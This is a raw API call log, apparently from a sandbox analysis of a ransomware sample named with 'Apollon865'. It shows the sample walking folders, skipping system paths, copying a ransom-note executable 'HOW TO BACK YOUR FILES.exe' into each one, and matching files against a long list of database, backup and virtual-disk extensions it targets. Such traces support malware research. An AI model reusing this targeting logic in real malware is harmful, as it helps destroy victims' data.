	[0080.867] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2fb6db30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fb6db30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1
	[0080.867] lstrcmpiW (lpString1="3082", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.867] lstrcmpiW (lpString1="3082", lpString2="Apollon865.txt.exe") returned -1
	[0080.867] lstrcmpiW (lpString1="3082", lpString2=".") returned 1
	[0080.867] lstrcmpiW (lpString1="3082", lpString2="..") returned 1
	[0080.867] lstrcmpiW (lpString1="3082", lpString2="windows") returned -1
	[0080.867] lstrcmpiW (lpString1="3082", lpString2="bootmgr") returned -1
	[0080.867] lstrcmpiW (lpString1="3082", lpString2="temp") returned -1
	[0080.867] lstrcmpiW (lpString1="3082", lpString2="pagefile.sys") returned -1
	[0080.867] lstrcmpiW (lpString1="3082", lpString2="boot") returned -1
	[0080.867] lstrcmpiW (lpString1="3082", lpString2="ids.txt") returned -1
	[0080.867] lstrcmpiW (lpString1="3082", lpString2="ntuser.dat") returned -1
	[0080.867] lstrcmpiW (lpString1="3082", lpString2="perflogs") returned -1
	[0080.867] lstrcmpiW (lpString1="3082", lpString2="MSBuild") returned -1
	[0080.867] lstrlenW (lpString="3082") returned 4
	[0080.867] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036") returned 51
	[0080.867] lstrcpyW (in: lpString1=0x119e666, lpString2="3082" | out: lpString1="3082") returned="3082"
	[0080.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0080.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x68) returned 0x5afd58
	[0080.867] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7c10 | out: ListHead=0x5b75f0, ListEntry=0x5b7c10) returned 0x5b7cb0
	[0080.868] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb479d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fb479d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0080.868] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0080.868] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb479d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fb479d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0080.868] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0080.868] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7c10
	[0080.868] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082"
	[0080.868] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afd58 | out: hHeap=0x580000) returned 1
	[0080.868] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0080.868] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082") returned 51
	[0080.868] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082"
	[0080.868] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0080.868] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0080.868] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0080.869] GetLastError () returned 0x0
	[0080.869] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0080.869] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0080.869] CloseHandle (hObject=0x10c) returned 1
	[0080.869] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0080.869] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0080.869] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2fb6db30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fb6db30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0080.869] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.869] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0080.869] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0080.869] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2fb6db30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fb6db30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.869] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.869] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0080.869] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0080.869] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0080.869] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x302da400, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x302da400, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ENVELOPR.DLL.trx_dll", cAlternateFileName="ENVELO~1.TRX")) returned 1
	[0080.869] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.869] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0080.869] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2=".") returned 1
	[0080.869] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="..") returned 1
	[0080.870] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="windows") returned -1
	[0080.870] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="bootmgr") returned 1
	[0080.870] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="temp") returned -1
	[0080.870] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="pagefile.sys") returned -1
	[0080.870] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="boot") returned 1
	[0080.870] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="ids.txt") returned -1
	[0080.870] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="ntuser.dat") returned -1
	[0080.870] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="perflogs") returned -1
	[0080.870] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="MSBuild") returned -1
	[0080.870] lstrlenW (lpString="ENVELOPR.DLL.trx_dll") returned 20
	[0080.870] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\*") returned 53
	[0080.870] lstrcpyW (in: lpString1=0x119e670, lpString2="ENVELOPR.DLL.trx_dll" | out: lpString1="ENVELOPR.DLL.trx_dll") returned="ENVELOPR.DLL.trx_dll"
	[0080.870] lstrlenW (lpString="ENVELOPR.DLL.trx_dll") returned 20
	[0080.870] lstrlenW (lpString="Apollon865") returned 10
	[0080.870] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0080.870] lstrlenW (lpString=".dll") returned 4
	[0080.870] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2=".dll") returned 1
	[0080.870] lstrlenW (lpString=".lnk") returned 4
	[0080.870] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2=".lnk") returned 1
	[0080.870] lstrlenW (lpString=".ini") returned 4
	[0080.870] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2=".ini") returned 1
	[0080.870] lstrlenW (lpString=".sys") returned 4
	[0080.870] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2=".sys") returned 1
	[0080.870] lstrlenW (lpString="ENVELOPR.DLL.trx_dll") returned 20
	[0080.870] lstrlenW (lpString="bak") returned 3
	[0080.870] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0080.870] lstrlenW (lpString="ba_") returned 3
	[0080.870] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0080.870] lstrlenW (lpString="dbb") returned 3
	[0080.870] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0080.870] lstrlenW (lpString="vmdk") returned 4
	[0080.870] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0080.870] lstrlenW (lpString="rar") returned 3
	[0080.870] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0080.871] lstrlenW (lpString="zip") returned 3
	[0080.871] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0080.871] lstrlenW (lpString="tgz") returned 3
	[0080.871] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0080.871] lstrlenW (lpString="vbox") returned 4
	[0080.871] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0080.871] lstrlenW (lpString="vdi") returned 3
	[0080.871] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0080.871] lstrlenW (lpString="vhd") returned 3
	[0080.871] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0080.871] lstrlenW (lpString="vhdx") returned 4
	[0080.871] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0080.871] lstrlenW (lpString="avhd") returned 4
	[0080.871] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0080.871] lstrlenW (lpString="db") returned 2
	[0080.871] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0080.871] lstrlenW (lpString="db2") returned 3
	[0080.871] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0080.871] lstrlenW (lpString="db3") returned 3
	[0080.871] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0080.871] lstrlenW (lpString="dbf") returned 3
	[0080.871] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0080.871] lstrlenW (lpString="mdf") returned 3
	[0080.871] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0080.871] lstrlenW (lpString="mdb") returned 3
	[0080.871] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0080.871] lstrlenW (lpString="sql") returned 3
	[0080.871] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0080.871] lstrlenW (lpString="sqlite") returned 6
	[0080.872] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0080.872] lstrlenW (lpString="sqlite3") returned 7
	[0080.872] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0080.872] lstrlenW (lpString="sqlitedb") returned 8
	[0080.872] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0080.872] lstrlenW (lpString="xml") returned 3
	[0080.872] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0080.872] lstrlenW (lpString="$er") returned 3
	[0080.872] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0080.872] lstrlenW (lpString="4dd") returned 3
	[0080.872] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0080.872] lstrlenW (lpString="4dl") returned 3
	[0080.872] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0080.872] lstrlenW (lpString="^^^") returned 3
	[0080.872] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0080.872] lstrlenW (lpString="abs") returned 3
	[0080.872] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0080.872] lstrlenW (lpString="abx") returned 3
	[0080.872] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0080.872] lstrlenW (lpString="accdb") returned 5
	[0080.872] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0080.872] lstrlenW (lpString="accdc") returned 5
	[0080.872] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0080.872] lstrlenW (lpString="accde") returned 5
	[0080.872] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0080.872] lstrlenW (lpString="accdr") returned 5
	[0080.872] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0080.872] lstrlenW (lpString="accdt") returned 5
	[0080.872] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0080.872] lstrlenW (lpString="accdw") returned 5
	[0080.872] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0080.872] lstrlenW (lpString="accft") returned 5
	[0080.872] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0080.872] lstrlenW (lpString="adb") returned 3
	[0080.872] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0080.873] lstrlenW (lpString="adb") returned 3
	[0080.873] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0080.873] lstrlenW (lpString="ade") returned 3
	[0080.873] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0080.873] lstrlenW (lpString="adf") returned 3
	[0080.873] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0080.873] lstrlenW (lpString="adn") returned 3
	[0080.873] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0080.873] lstrlenW (lpString="adp") returned 3
	[0080.873] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0080.873] lstrlenW (lpString="alf") returned 3
	[0080.873] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0080.873] lstrlenW (lpString="ask") returned 3
	[0080.873] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0080.873] lstrlenW (lpString="btr") returned 3
	[0080.873] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0080.873] lstrlenW (lpString="cat") returned 3
	[0080.873] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0080.873] lstrlenW (lpString="cdb") returned 3
	[0080.873] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0080.873] lstrlenW (lpString="ckp") returned 3
	[0080.873] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0080.873] lstrlenW (lpString="cma") returned 3
	[0080.873] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0080.873] lstrlenW (lpString="cpd") returned 3
	[0080.873] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0080.873] lstrlenW (lpString="dacpac") returned 6
	[0080.873] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0080.873] lstrlenW (lpString="dad") returned 3
	[0080.873] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0080.873] lstrlenW (lpString="dadiagrams") returned 10
	[0080.873] lstrcmpiW (lpString1="LL.trx_dll", lpString2="dadiagrams") returned 1
	[0080.873] lstrlenW (lpString="daschema") returned 8
	[0080.873] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0080.873] lstrlenW (lpString="db-journal") returned 10
	[0080.874] lstrcmpiW (lpString1="LL.trx_dll", lpString2="db-journal") returned 1
	[0080.874] lstrlenW (lpString="db-shm") returned 6
	[0080.874] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0080.874] lstrlenW (lpString="db-wal") returned 6
	[0080.874] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0080.874] lstrlenW (lpString="dbc") returned 3
	[0080.874] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0080.874] lstrlenW (lpString="dbs") returned 3
	[0080.874] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0080.874] lstrlenW (lpString="dbt") returned 3
	[0080.874] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0080.874] lstrlenW (lpString="dbv") returned 3
	[0080.874] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0080.874] lstrlenW (lpString="dbx") returned 3
	[0080.874] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0080.874] lstrlenW (lpString="dcb") returned 3
	[0080.874] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0080.874] lstrlenW (lpString="dct") returned 3
	[0080.874] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0080.874] lstrlenW (lpString="dcx") returned 3
	[0080.874] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0080.874] lstrlenW (lpString="ddl") returned 3
	[0080.874] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0080.874] lstrlenW (lpString="dlis") returned 4
	[0080.874] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0080.874] lstrlenW (lpString="dp1") returned 3
	[0080.874] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0080.874] lstrlenW (lpString="dqy") returned 3
	[0080.874] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0080.874] lstrlenW (lpString="dsk") returned 3
	[0080.874] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0080.874] lstrlenW (lpString="dsn") returned 3
	[0080.874] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0080.874] lstrlenW (lpString="dtsx") returned 4
	[0080.874] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0080.875] lstrlenW (lpString="dxl") returned 3
	[0080.875] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0080.875] lstrlenW (lpString="eco") returned 3
	[0080.875] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0080.875] lstrlenW (lpString="ecx") returned 3
	[0080.875] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0080.875] lstrlenW (lpString="edb") returned 3
	[0080.875] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0080.875] lstrlenW (lpString="epim") returned 4
	[0080.875] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0080.875] lstrlenW (lpString="fcd") returned 3
	[0080.875] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0080.875] lstrlenW (lpString="fdb") returned 3
	[0080.875] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0080.875] lstrlenW (lpString="fic") returned 3
	[0080.875] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0080.875] lstrlenW (lpString="flexolibrary") returned 12
	[0080.875] lstrcmpiW (lpString1=".DLL.trx_dll", lpString2="flexolibrary") returned -1
	[0080.875] lstrlenW (lpString="fm5") returned 3
	[0080.875] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0080.875] lstrlenW (lpString="fmp") returned 3
	[0080.875] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0080.875] lstrlenW (lpString="fmp12") returned 5
	[0080.875] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0080.875] lstrlenW (lpString="fmpsl") returned 5
	[0080.875] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0080.875] lstrlenW (lpString="fol") returned 3
	[0080.875] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0080.875] lstrlenW (lpString="fp3") returned 3
	[0080.875] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0080.875] lstrlenW (lpString="fp4") returned 3
	[0080.875] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0080.875] lstrlenW (lpString="fp5") returned 3
	[0080.875] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0080.875] lstrlenW (lpString="fp7") returned 3
	[0080.876] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0080.876] lstrlenW (lpString="fpt") returned 3
	[0080.876] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0080.876] lstrlenW (lpString="frm") returned 3
	[0080.876] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0080.876] lstrlenW (lpString="gdb") returned 3
	[0080.876] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0080.876] lstrlenW (lpString="gdb") returned 3
	[0080.876] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0080.876] lstrlenW (lpString="grdb") returned 4
	[0080.876] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0080.876] lstrlenW (lpString="gwi") returned 3
	[0080.876] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0080.876] lstrlenW (lpString="hdb") returned 3
	[0080.876] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0080.876] lstrlenW (lpString="his") returned 3
	[0080.876] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0080.876] lstrlenW (lpString="ib") returned 2
	[0080.876] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0080.876] lstrlenW (lpString="idb") returned 3
	[0080.876] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0080.876] lstrlenW (lpString="ihx") returned 3
	[0080.876] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0080.876] lstrlenW (lpString="itdb") returned 4
	[0080.876] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0080.876] lstrlenW (lpString="itw") returned 3
	[0080.876] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0080.876] lstrlenW (lpString="jet") returned 3
	[0080.876] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0080.876] lstrlenW (lpString="jtx") returned 3
	[0080.876] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0080.876] lstrlenW (lpString="kdb") returned 3
	[0080.876] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0080.876] lstrlenW (lpString="kexi") returned 4
	[0080.876] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0080.877] lstrlenW (lpString="kexic") returned 5
	[0080.877] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0080.877] lstrlenW (lpString="kexis") returned 5
	[0080.877] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0080.877] lstrlenW (lpString="lgc") returned 3
	[0080.877] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0080.877] lstrlenW (lpString="lwx") returned 3
	[0080.877] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0080.877] lstrlenW (lpString="maf") returned 3
	[0080.877] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0080.877] lstrlenW (lpString="maq") returned 3
	[0080.877] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0080.877] lstrlenW (lpString="mar") returned 3
	[0080.877] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0080.877] lstrlenW (lpString="marshal") returned 7
	[0080.877] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0080.877] lstrlenW (lpString="mas") returned 3
	[0080.877] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0080.877] lstrlenW (lpString="mav") returned 3
	[0080.877] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0080.877] lstrlenW (lpString="maw") returned 3
	[0080.877] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0080.877] lstrlenW (lpString="mdbhtml") returned 7
	[0080.877] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0080.877] lstrlenW (lpString="mdn") returned 3
	[0080.877] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0080.877] lstrlenW (lpString="mdt") returned 3
	[0080.877] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0080.877] lstrlenW (lpString="mfd") returned 3
	[0080.877] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0080.877] lstrlenW (lpString="mpd") returned 3
	[0080.877] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0080.877] lstrlenW (lpString="mrg") returned 3
	[0080.877] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0080.877] lstrlenW (lpString="mud") returned 3
	[0080.878] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0080.878] lstrlenW (lpString="mwb") returned 3
	[0080.878] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0080.878] lstrlenW (lpString="myd") returned 3
	[0080.878] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0080.878] lstrlenW (lpString="ndf") returned 3
	[0080.878] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0080.878] lstrlenW (lpString="nnt") returned 3
	[0080.878] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0080.878] lstrlenW (lpString="nrmlib") returned 6
	[0080.878] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0080.878] lstrlenW (lpString="ns2") returned 3
	[0080.878] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0080.878] lstrlenW (lpString="ns3") returned 3
	[0080.878] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0080.878] lstrlenW (lpString="ns4") returned 3
	[0080.878] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0080.878] lstrlenW (lpString="nsf") returned 3
	[0080.878] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0080.878] lstrlenW (lpString="nv") returned 2
	[0080.878] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0080.878] lstrlenW (lpString="nv2") returned 3
	[0080.878] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
